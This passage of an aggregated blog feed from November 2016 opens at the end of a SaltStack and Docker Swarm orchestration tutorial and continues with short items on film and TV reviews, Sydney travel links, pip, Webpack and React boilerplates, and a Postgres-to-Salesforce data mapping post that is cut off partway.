&lt;p&gt;You’ll also notice in the &lt;strong&gt;manager&lt;/strong&gt; for-loop that each iteration runs a &lt;code class="language-plaintext highlighter-rouge"&gt;mine.update&lt;/code&gt; before progressing to the next iteration. This is the crucial step that tells Salt to fetch the latest data from all minions broadcasting their mine data. Because we are including &lt;code class="language-plaintext highlighter-rouge"&gt;docker.mine&lt;/code&gt; in both &lt;code class="language-plaintext highlighter-rouge"&gt;docker.manager.first&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;docker.manager.join&lt;/code&gt; states, each joining manager can query the Salt Mine to retrieve the IP address of existing cluster manager and a manager token generated by one of the Swarm managers.&lt;/p&gt;

&lt;p&gt;The same principle applies to the &lt;strong&gt;worker&lt;/strong&gt; for-loop. In &lt;code class="language-plaintext highlighter-rouge"&gt;docker.worker.join&lt;/code&gt;, we query the Salt Mine for a manager’s IP address and a worker token generated by one of the Swarm managers.&lt;/p&gt;

&lt;p&gt;To see how this works in practice, let’s run the orchestrator from our Salt master:&lt;/p&gt;

&lt;figure class="highlight"&gt;&lt;pre&gt;&lt;code class="language-console"&gt;&lt;span class="gp"&gt;saltmaster ~$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;salt-run state.orchestrate docker.bootstrap&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;And a few minutes later we have our cluster up and ready to accept services:&lt;/p&gt;

&lt;figure class="highlight"&gt;&lt;pre&gt;&lt;code class="language-console"&gt;&lt;span class="gp"&gt;manager3 ~$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;docker node &lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="go"&gt;ID                           HOSTNAME               STATUS  AVAILABILITY  MANAGER STATUS
0x4u15u7v571z70qfdmiuh3sa    manager1               Ready   Drain         Reachable
1r652lsw5ek86zdhg1i4zjl5u    manager2               Ready   Drain         Reachable
cret7zwxpv77uiznb2krnv7sl *  manager3               Ready   Drain         Leader
dka8yshu1rs2pi24dy2762ib4    worker1                Ready   Active
esh8k1mpzt5csxkrt4uzk1z8y    worker2                Ready   Active
esh8k1mpzt5csxkrt4uzk1z8y    worker3                Ready   Active&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id="summary"&gt;Summary&lt;/h3&gt;

&lt;p&gt;There you have it, a turn-key approach to getting our Docker Swarm cluster up and running. What we did not discuss was what the top file contains, but it might look something like:&lt;/p&gt;

&lt;figure class="highlight"&gt;&lt;pre&gt;&lt;code class="language-yaml"&gt;&lt;span class="na"&gt;base&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;swarmmanager'&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;match&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;nodegroup&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;docker.engine&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;docker.mine&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;docker.drain&lt;/span&gt;

  &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;swarmworker'&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;match&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;nodegroup&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;docker.engine&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;We have to be careful about what we choose to place in the top file. For instance, it probably does not make sense to include &lt;code class="language-plaintext highlighter-rouge"&gt;docker.manager.first&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;docker.manager.join&lt;/code&gt;, nor &lt;code class="language-plaintext highlighter-rouge"&gt;docker.worker.join&lt;/code&gt; in the top file since those are more for one-time operations that fit better in orchestrators, but that’s up for you to decide. Your mileage may vary. For more information on orchestration, see &lt;a href="https://docs.saltstack.com/en/latest/topics/orchestrate/orchestrate_runner.html"&gt;Salt’s orchestrate runner docs&lt;/a&gt;. For more information on Docker Engine in swarm mode, see &lt;a href="https://docs.docker.com/engine/swarm/"&gt;Swarm mode overview&lt;/a&gt;.&lt;/p&gt;</description><author/><pubDate>Sun, 27 Nov 2016 20:14:00 GMT</pubDate><guid isPermaLink="true">https://btmiller.com/2016/11/27/docker-swarm-1.12-cluster-orchestration-with-saltstack.html</guid></item><item><title>Black Mirror: Season 3</title><link>https://olshansky.info/tv/black_mirror_season_3/</link><description>Olshansky's review of Black Mirror: Season 3</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 27 Nov 2016 15:04:15 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/black_mirror_season_3/</guid></item><item><title>A Fish Called Wanda</title><link>https://olshansky.info/movie/a_fish_called_wanda/</link><description>Olshansky's review of A Fish Called Wanda</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 27 Nov 2016 14:55:25 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/a_fish_called_wanda/</guid></item><item><title>Stranger Things: Season 1</title><link>https://olshansky.info/tv/stranger_things_season_1/</link><description>Olshansky's review of Stranger Things: Season 1</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 27 Nov 2016 14:52:32 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/stranger_things_season_1/</guid></item><item><title>Rick and Morty: Season 2</title><link>https://olshansky.info/tv/rick_and_morty_season_2/</link><description>Olshansky's review of Rick and Morty: Season 2</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 27 Nov 2016 11:54:04 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/rick_and_morty_season_2/</guid></item><item><title>Sydney travel bookmarks</title><link>https://xenodium.com/sydney-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.buzzfeed.com/mikeynicholson/thats-not-a-pool-this-is-a-pool"&gt;17 Stunning Sydney Pools That Will Make You Want To Jump Back In The Water&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://apassionandapassport.com/2015/01/48-hours-sydney-australia/"&gt;48 Hours in Sydney&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://bourkestreetbakery.com.au/"&gt;Bourke Street Bakery&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Collector Store (Surrey Hills).&lt;/li&gt;
&lt;li&gt;&lt;a href="http://merivale.com.au/coogeepavilion"&gt;Coogee Pavilion&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://fouratefive.com/"&gt;Four ate five&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.harryscafedewheels.com.au/"&gt;Harry's Cafe de Wheels: Famous for Pies and Peas, Meat Pies, Hot Dogs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.hurricanesgrillandbar.com.au/bondi-beach/"&gt;Hurricane’s grill &amp;amp; bar Bondi beach&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://loxstockandbarrel.com.au/"&gt;Lox Stock &amp;amp; Barrel&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://marigold.com.au"&gt;Marigold citymark (dim sum)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.reubenhills.com.au/about"&gt;Reuben Hills&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://seanspanaroma.co/"&gt;Seans&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://thetrustedtraveller.com/sydneys-best-markets/"&gt;Sydney's Best Markets - The Trusted Traveller&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://theeightrestaurant.com.au"&gt;The eight (dim sum)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://theglenmore.com.au/"&gt;The Glenmore&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.threeblueducks.com/"&gt;Three Blue Ducks&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 27 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/sydney-travel-bookmarks</guid></item><item><title>Make your meetings more efficient</title><link>https://yasha.solutions/make-your-meetings-more-efficient/</link><description>Meetings can suck your time and your life.
But… that is still also one of the best way we know to actually coordinate with each other and make sure agreements flows into an organisation.
Yet, when you call for a meeting you can still make sure your time will be well used by creating a frame within which the conversation will happen.
What do you need this meeting for? A meeting about a topic in general is not good enough for people to really prepareto your meeting (we assume people want to come prepared to your meeting).</description><author>Yasha Solutions</author><pubDate>Sat, 26 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/make-your-meetings-more-efficient/</guid></item><item><title>The many methods of Decim8</title><link>https://rjp.is/blogging/posts/the-many-methods-of-decim8-2/</link><description>In which we try to provide a visual reference for Decim8.</description><author>infrequent oscillations</author><pubDate>Fri, 25 Nov 2016 19:16:51 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/the-many-methods-of-decim8-2/</guid></item><item><title>Nacidos de la Bruma II – El Pozo de la Ascensión – Mistborn</title><link>https://danielpecos.com/2016/11/25/nacidos-de-la-bruma-ii-el-pozo-de-la-ascension-mistborn/</link><description>&lt;p&gt;&lt;a href="https://www.amazon.es/pozo-ascensi%C3%B3n-Nacidos-Bruma-Mistborn-ebook/dp/B00AR07H9A%3FSubscriptionId%3DAKIAJHGGVVP5D22LY7JQ%26tag%3Dbiblo-es-21%26linkCode%3Dxm2%26camp%3D2025%26creative%3D165953%26creativeASIN%3DB00AR07H9A"&gt;&lt;img alt="Mistborn - El Pozo de la Ascensión" class="alignleft size-full" height="544" src="https://danielpecos.com/assets/2017/10/El-pozo-de-la-ascensión.jpg" width="350" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;El Pozo de la Ascensión&lt;/strong&gt; es la segunda parte de la saga de &lt;strong&gt;Nacidos de la Bruma (Mistborn)&lt;/strong&gt; de Brandon Sanderson, en la que ha demostrado que posee la creatividad suficiente para dar vida a una historia de gran envergadura, y lo mejor, conservando la esencia de la entrega anterior, añadiendo unos toques que proporcionan un aire de frescura y misterio a la franquicia.&lt;/p&gt;
&lt;p&gt;Esta entrega se inicia con los problemas que nuestros protagonistas enfrentan tras conseguir su objetivo: la muerte de su enemigo, &lt;em&gt;Lord Legislador&lt;/em&gt;, pero a un alto precio, el sacrificio de su líder &lt;em&gt;Kelsier&lt;/em&gt;. Inestabilidad política encaminada a una guerra económica es el ambiente que se respira en el imperio, un destino nada previsto por los liberadores y que tratarán de evitar por todo lo posible.&lt;/p&gt;
&lt;p&gt;Para ello entablarán alianzas con la nobleza donde encontrarán un inesperado aliado, &lt;em&gt;Elend Venture&lt;/em&gt;, hijo de la casa más poderosa de &lt;em&gt;Luthadel&lt;/em&gt;, pero difícil heredero de ésta. El interés principal de su padre no será precisamente el de una transición de poder pacífica.&lt;/p&gt;
&lt;p&gt;Brandon Sanderson de nuevo nos presenta un mundo fantástico, con héroes con poderes alomáticos y, también, debilidades humanas. Como viene siendo habitual con este autor, es una obra dinámica, de fácil lectura y que engancha desde el primer minuto.&lt;/p&gt;
&lt;p&gt;En resumen, &lt;strong&gt;El Pozo de la Ascensión&lt;/strong&gt;, segunda parte de esta magnífica saga, &lt;strong&gt;Nacidos de la Bruma (Mistborn)&lt;/strong&gt;, es una obra trepidante y que sin duda nos sorprenderá y mantendrá en vilo en muchas ocasiones.&lt;/p&gt;
&lt;noscript&gt;
&lt;/noscript&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Fri, 25 Nov 2016 07:30:06 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/11/25/nacidos-de-la-bruma-ii-el-pozo-de-la-ascension-mistborn/</guid></item><item><title>3 Myths about WordPress</title><link>https://yasha.solutions/3-myths-about-wordpress/</link><description>Here are three myths about WordPress that really annoy the sh*t out of me because they are just so outrageously outdated and so misinformed that it 100% piss me off to still hear such BS said in meetings – especially when it comes from the IT guy in a company.
However, I know it is counter-productive to shout at people for things they do not know, especially when they act out of lack of knowledge and are just repeating what some other uninformed person told them – so I thought it would be better for me to write about it and email it calmly to people (while pressing that “Send” button with rage…)</description><author>Yasha Solutions</author><pubDate>Fri, 25 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/3-myths-about-wordpress/</guid></item><item><title>Time Management – Hustle Hack 101</title><link>https://yasha.solutions/time-management-hustle-hack-101/</link><description>Yes, procrastination sucks, but it is part of life, stop complaining about it and do something about it.
Here are some tips I am using myself or have used at some point and have helped me along the way.
Start somewhere with a schedule for your days with objectives Achieving your goals assumes you have defined some, and if your day is not going as you want, probably worth thinking what was that you wanted on the first place, what were you goals for the day, and what did you plan to achieve that you didn’t do.</description><author>Yasha Solutions</author><pubDate>Fri, 25 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/time-management-hustle-hack-101/</guid></item><item><title>[Computing] Rackmount Improv HSM</title><link>https://www.devever.net/~hl/improvhsm</link><description>&lt;p&gt;This is a followup to &lt;a href="smartcards"&gt;Why I don't like smartcards&lt;/a&gt;, which I felt
like writing after it got &lt;a href="https://news.ycombinator.com/item?id=13031155"&gt;posted on
HN&lt;/a&gt;.&lt;/p&gt;</description><author>devever.net/~hl</author><pubDate>Fri, 25 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.devever.net/~hl/improvhsm</guid></item><item><title>Default Unix Programs</title><link>https://venam.net/blog/unix/2016/11/25/default-programs.html</link><description>Welcome to hell, choose your default program!  You'll soon learn in this podcast why this subtitle was chosen.  Let's go, follow my train of thoughts and don't get lost.  The default programs...</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Thu, 24 Nov 2016 19:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/unix/2016/11/25/default-programs.html</guid></item><item><title>POSS 2016, from Open Hardware to "Open divorce" (*) and formats</title><link>https://stop.zona-m.net/2016/11/poss-2016-from-open-hardware-to-open-divorces-and-formats/</link><description>&lt;figure&gt;
  &lt;img alt="POSS 2016, from Open Hardware to " open="Open" src="https://stop.zona-m.net//img/i-enjoyed-ossparis16.jpg" width="100%" /&gt;
  &lt;figcaption&gt;
&lt;pre&gt;&lt;code&gt;I enjoyed POSS2016 in Paris

&amp;lt;/em&amp;gt;&amp;lt;/u&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Last week, I presented the current status of the EU-funded research I am working on these days, that is &lt;a href="http://www.didiy.eu"&gt;DiDIY (Digital DIY)&lt;/a&gt;, at the Paris Open Source Summit. I have already &lt;a href="http://www.didiy.eu/blogs/status-digital-diy-and-didiy-project-some-notes-paris"&gt;reported&lt;/a&gt; about that side of the conference on the DiDIY blog, but I found many more interesting things at POSS 2016.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 24 Nov 2016 12:52:35 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2016/11/poss-2016-from-open-hardware-to-open-divorces-and-formats/</guid></item><item><title>The future of ODF, XML and office suites in Public Administrations</title><link>https://stop.zona-m.net/2016/11/the-future-of-odf-xml-and-office-suites-in-public-administrations/</link><description>&lt;p&gt;Last week I attended the Paris Open Source Summit, were I saw things as interesting and diverse as &lt;a href="https://stop.zona-m.net/2016/11/poss-2016-from-open-hardware-to-open-divorces-and-formats"&gt;autonomous tractors, Open Source legal support and &amp;ldquo;degooglized Internet&amp;rdquo; visions&lt;/a&gt;. Please read that other post to know more. Here, I am only going to describe &lt;em&gt;one&lt;/em&gt; other moment of POSS 2016, about two other arguments I care a lot about, and on which I wouldn&amp;rsquo;t mind working again, even if these days I am mostly busy with &lt;a href="http://www.didiy.eu"&gt;Digital DIY&lt;/a&gt;.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 24 Nov 2016 12:00:31 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2016/11/the-future-of-odf-xml-and-office-suites-in-public-administrations/</guid></item><item><title>Pip is great</title><link>https://bastibe.de/2016-11-24-pip-is-great.html</link><description>&lt;p&gt;&lt;a href="http://bastibe.de/2011-02-03-installing-python-slash-numpy-slash-scipy-slash-matplotlib-on-osx.html"&gt;Installing&lt;/a&gt; &lt;a href="http://bastibe.de/2011-03-04-installing-pygame-using-homebrew.html"&gt;Python&lt;/a&gt; &lt;a href="http://bastibe.de/2011-08-01-compiling-scipy-and-matplotlib-using-pip-on-lion.html"&gt;packages&lt;/a&gt; &lt;a href="http://bastibe.de/2011-10-13-compiling-scipy-and-matplotlib-again.html"&gt;used&lt;/a&gt; to be a pain. Very surprisingly, this is no longer the case. Nowadays, &lt;code&gt;pip install whatever&lt;/code&gt; will reliably install pretty much anything without any trouble.&lt;/p&gt;
&lt;p&gt;To recap, the problem is that many Python packages rely on C code, which needs to be compiled before installation. In the past, this burden was mostly on the user. Depending on the user's knowledge of C and compilers, and the user's operating system, this could become almost arbitrarily hairy.&lt;/p&gt;
&lt;p&gt;This problem was solved, to some extent, using pre-compiled packages, first as &lt;a href="http://www.lfd.uci.edu/~gohlke/pythonlibs/"&gt;binary installers&lt;/a&gt; on the package websites, then pre-packaged &lt;a href="http://winpython.github.io/"&gt;Python&lt;/a&gt; &lt;a href="https://www.continuum.io/anaconda-overview"&gt;distributions&lt;/a&gt;, and later through third-party package managers such as &lt;a href="http://conda.pydata.org/docs/"&gt;conda&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This worked well, but it fractured the ecosystem into several different mostly-compatible package sources. This was no big problem, but users had to decide on a package-by-package basis whether to download an installer, use conda, or use pip.&lt;/p&gt;
&lt;p&gt;But I am happy to announce that these dark days are behind us now. Pip now automatically installs binary Python packages called &lt;a href="http://wheel.readthedocs.io/en/latest/"&gt;wheels&lt;/a&gt;, and most package developers &lt;a href="http://pythonwheels.com/"&gt;do now provide&lt;/a&gt; wheels on &lt;a href="https://pypi.python.org/pypi"&gt;PyPI&lt;/a&gt;. This is so obviously superior to the past that many high-profile packages don't even provide binary installers any more.&lt;/p&gt;
&lt;p&gt;For me, this means I don't have to rely on conda any longer. I don't have to keep a mental list of which packages to install though conda and which packages to install through pip any longer. I can go back to using virtualenv instead of conda-envs&lt;sup class="footnote-ref" id="fnref-1"&gt;&lt;a href="#fn-1"&gt;1&lt;/a&gt;&lt;/sup&gt; again. I don't have to tell students to download pre-packaged Python distributions any longer. Pip is great!&lt;/p&gt;
&lt;section class="footnotes"&gt;
&lt;ol&gt;
&lt;li id="fn-1"&gt;&lt;p&gt;Not because I dislike conda, just to simplify my development environment.&lt;a class="footnote" href="#fnref-1"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</description><author>bastibe.de</author><pubDate>Thu, 24 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2016-11-24-pip-is-great.html</guid></item><item><title>Setting up Webpack, Babel and React from scratch - Part 3</title><link>https://muffinman.io/blog/setting-up-webpack-babel-and-react-from-scratch-part-3/</link><description>&lt;article class="article"&gt;&lt;h2 id="part-three---also-the-last-part"&gt;Part three - also the last part &lt;a class="anchor-link" href="#part-three---also-the-last-part"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Other parts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/blog/setting-up-webpack-babel-and-react-from-scratch"&gt;Part 1&lt;/a&gt; - Webpack, Babel, React, Router, ESLint&lt;/li&gt;
&lt;li&gt;&lt;a href="/blog/setting-up-webpack-babel-and-react-from-scratch-part-2"&gt;Part 2&lt;/a&gt; - SASS, more ES6 goodness (Static props, decorators, deconstruction...)&lt;/li&gt;
&lt;li&gt;Part 3 - Where to go from here&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="where-to-go-from-here"&gt;Where to go from here &lt;a class="anchor-link" href="#where-to-go-from-here"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I really wanted to continue this series, but unfortunately whole JavaScript / Node community
is moving so fast, that I found really hard to keep these tutorials up to date.
Webpack 2 and React Hot Loader 3 are on the horizon.
Some package versions break the other ones. Usual JavaScript business :)&lt;/p&gt;
&lt;p&gt;So I&amp;#x27;ll leave you with a link or two below.&lt;/p&gt;
&lt;h3 id="create-react-app"&gt;Create React App &lt;a class="anchor-link" href="#create-react-app"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Facebook released &lt;a href="https://github.com/facebookincubator/create-react-app"&gt;Create React App&lt;/a&gt;.
That is a CLI tool for creating React apps with zero configuration.
It is still missing some features, like universal rendering, decorators, SASS (or LESS), hot reload...
But it is a really solid start, and backed up by the React team.&lt;/p&gt;
&lt;h3 id="my-webpack-2-boilerplate"&gt;My Webpack 2 boilerplate &lt;a class="anchor-link" href="#my-webpack-2-boilerplate"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Also, I just published &lt;a href="https://github.com/Stanko/react-redux-webpack2-boilerplate"&gt;Webpack 2 boilerplate&lt;/a&gt; on GitHub. It has a lot of nice features, check &lt;a href="/blog/webpack-2-react-redux"&gt;post about it&lt;/a&gt; on this blog.&lt;/p&gt;
&lt;h2 id="thanks"&gt;Thanks &lt;a class="anchor-link" href="#thanks"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Hope you found this series useful.
Don&amp;#x27;t worry, blog will still be updated, but this series is over for now.&lt;/p&gt;
&lt;p&gt;And before using boilerplates, try making it yourself,
so you understand the flow and the tooling behind it.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Thu, 24 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/setting-up-webpack-babel-and-react-from-scratch-part-3/</guid></item><item><title>React and Redux, Webpack 2 boilerplate</title><link>https://muffinman.io/blog/webpack-2-react-redux/</link><description>&lt;article class="article"&gt;&lt;p&gt;Currently, I&amp;#x27;m working on a relatively small pet project.
While setting it up, I decided to extract a webpack boilerplate from it.&lt;/p&gt;
&lt;p&gt;As whole JS community is moving really fast, I found very hard to
set everything up using Webpack 1.x. One package would ask to update the other,
that would break the third one, then that one... and so on.&lt;/p&gt;
&lt;p&gt;Luckily, I was able to set everything up using Webpack 2.
It is still in beta, but I had no problems so far.&lt;/p&gt;
&lt;p&gt;You can find the &lt;a href="https://github.com/Stanko/react-redux-webpack2-boilerplate"&gt;boilerplate on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="implemented-features"&gt;Implemented Features &lt;a class="anchor-link" href="#implemented-features"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;React&lt;/li&gt;
&lt;li&gt;React router&lt;/li&gt;
&lt;li&gt;Redux&lt;/li&gt;
&lt;li&gt;Redux Thunk&lt;/li&gt;
&lt;li&gt;Immutable reducer data&lt;/li&gt;
&lt;li&gt;Webpack 2 (development and production config)&lt;/li&gt;
&lt;li&gt;Hot Module Replacement&lt;/li&gt;
&lt;li&gt;Babel - static props, decorators&lt;/li&gt;
&lt;li&gt;SASS with autoprefixing&lt;/li&gt;
&lt;li&gt;Webpack dashboard&lt;/li&gt;
&lt;li&gt;Linting&lt;/li&gt;
&lt;li&gt;Included &lt;code&gt;es6-promise&lt;/code&gt; and &lt;code&gt;isomorphic-fetch&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;File imports relative to the app root&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="planned-features"&gt;Planned features &lt;a class="anchor-link" href="#planned-features"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Redux Dev Tools&lt;/li&gt;
&lt;li&gt;Generating icon font from SVGs&lt;/li&gt;
&lt;li&gt;Preview production build&lt;/li&gt;
&lt;li&gt;Git hooks - lint before commit (or push)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="future-features"&gt;Future features &lt;a class="anchor-link" href="#future-features"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Universal may be added at some point.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Universal rendering&lt;/li&gt;
&lt;li&gt;Server async data&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="about"&gt;About &lt;a class="anchor-link" href="#about"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This boilerplate is a complete, but minimal React application.
It includes reducers (redux), actions (sync and async), routing, SASS...
My goal was to be ready immediately after cloning the repo (and running &lt;code&gt;npm i&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;My plan is to reuse this as much as possible.&lt;/p&gt;
&lt;p&gt;It will updated so make sure you follow the &lt;a href="https://github.com/Stanko/react-redux-webpack2-boilerplate"&gt;documentation on GitHub&lt;/a&gt;.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Thu, 24 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/webpack-2-react-redux/</guid></item><item><title>Syncing from Postgres to Salesforce - Data Mappings</title><link>/2016/11/23/syncing-from-postgres-to-salesforce-part-1/</link><description>&lt;p&gt;For the second time now I&amp;rsquo;ve had to implement a system that syncs from my system of record into Salesforce.com, the first at Heroku and now at &lt;a href="https://www.citusdata.com"&gt;Citus Data&lt;/a&gt;. The case here is pretty simple, I have a software-as-a-service, B2B product. It&amp;rsquo;s a homegrown application in these cases in Ruby, but could be Python, .Net, any language of your choosing. The problem is I don&amp;rsquo;t want to have to be rebuilding my own CRM, reporting, etc. on top of all of my internal database. And as soon as you&amp;rsquo;re at some reasonable size (sales guy of 1 or more) you need to be able to provide insights on what&amp;rsquo;s in that system of record database to others.&lt;/p&gt;
&lt;p&gt;While my tooling isn&amp;rsquo;t a full fledged product by any means, here&amp;rsquo;s a bit of how I&amp;rsquo;ve developed this process a few times over and some of the annoying bits of code to help get you started. In this post I&amp;rsquo;ll walk through some of the basic datatypes, then we&amp;rsquo;ll follow-up with the overall architecture and tweaks you need to make to Salesforce, and finally we&amp;rsquo;ll provide some example code to help you create this setup yourself.&lt;/p&gt;
&lt;h3 id="leads-contacts-accounts-oh-my"&gt;
&lt;div&gt;
Leads, Contacts, Accounts oh my
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Despite being some of the largest as-a-service vendors in the world, Salesforce is still primarily setup for traditional high touch sales. What this means is some of the data you&amp;rsquo;ll commonly have, or in this case not have, can make it difficult to figure out what maps from your internal system to Salesforce. Within Salesforce there&amp;rsquo;s really 4 key data models you&amp;rsquo;re going to care about.&lt;/p&gt;
&lt;h3 id="lead-vs-contact"&gt;
&lt;div&gt;
Lead vs. Contact
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;In every as a service product you&amp;rsquo;ll have some user that creates and account which usually has an email address tied to it. This seems simple enough to load up to Salesforce as there is a clear email field. Within Salesforce there are two key data types which have a default field for this lead and contact, in Salesforce terms a lead is someone &lt;a href="https://success.salesforce.com/answers?id=90630000000gvTiAAI"&gt;considering doing business with you&lt;/a&gt;, a contact someone who more so is doing business with you. If you have a freemium or timed trial model you might think to start classifying everyone that they&amp;rsquo;re a lead. Then, when they convert to a paying customer you turn them into a contact.&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;re anything like me, in running your SaaS business, you want a sign-up process that&amp;rsquo;s frictionless. This means give me an email address, password, and you&amp;rsquo;re off and running. Salesforce immediately starts to breakdown a bit in this regard. First you&amp;rsquo;re required for both lead and contact to provide a first and last name. In my case I do ask for name, and do a little bit of work on the code side to get values into both. You&amp;rsquo;ll see later that our process does result in some regular cleanup work needing to happen, but in our case we&amp;rsquo;re optimizing to get them signed up more than capturing every detail perfectly about them from the start.&lt;/p&gt;
&lt;p&gt;Leads are even more broken than contacts though. Leads require you to enter a company. While you may be able to just drop a company form field onto your sign-up page you&amp;rsquo;re likely to end up with junk data at least, if not actually driving some sign-ups away. Some of my favorite pieces of junk data I&amp;rsquo;ve seen users enter for company name: &amp;ldquo;pissed off developer&amp;rdquo;, &amp;ldquo;Acme Inc.&amp;rdquo;, and the all too common &amp;ldquo;Test Co.&amp;rdquo;. In reality these are often real developers, with real problems, and real budget, they just don&amp;rsquo;t want to share details before they&amp;rsquo;re ready.&lt;/p&gt;
&lt;p&gt;So in this case the TLDR; is that leads require:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;First name&lt;/li&gt;
&lt;li&gt;Last name&lt;/li&gt;
&lt;li&gt;Email&lt;/li&gt;
&lt;li&gt;Company name&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This results in contacts being a more favorable datatype because it only requires:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;First name&lt;/li&gt;
&lt;li&gt;Last name&lt;/li&gt;
&lt;li&gt;Email&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="accounts-vs-opportunities"&gt;
&lt;div&gt;
Accounts vs. Opportunities
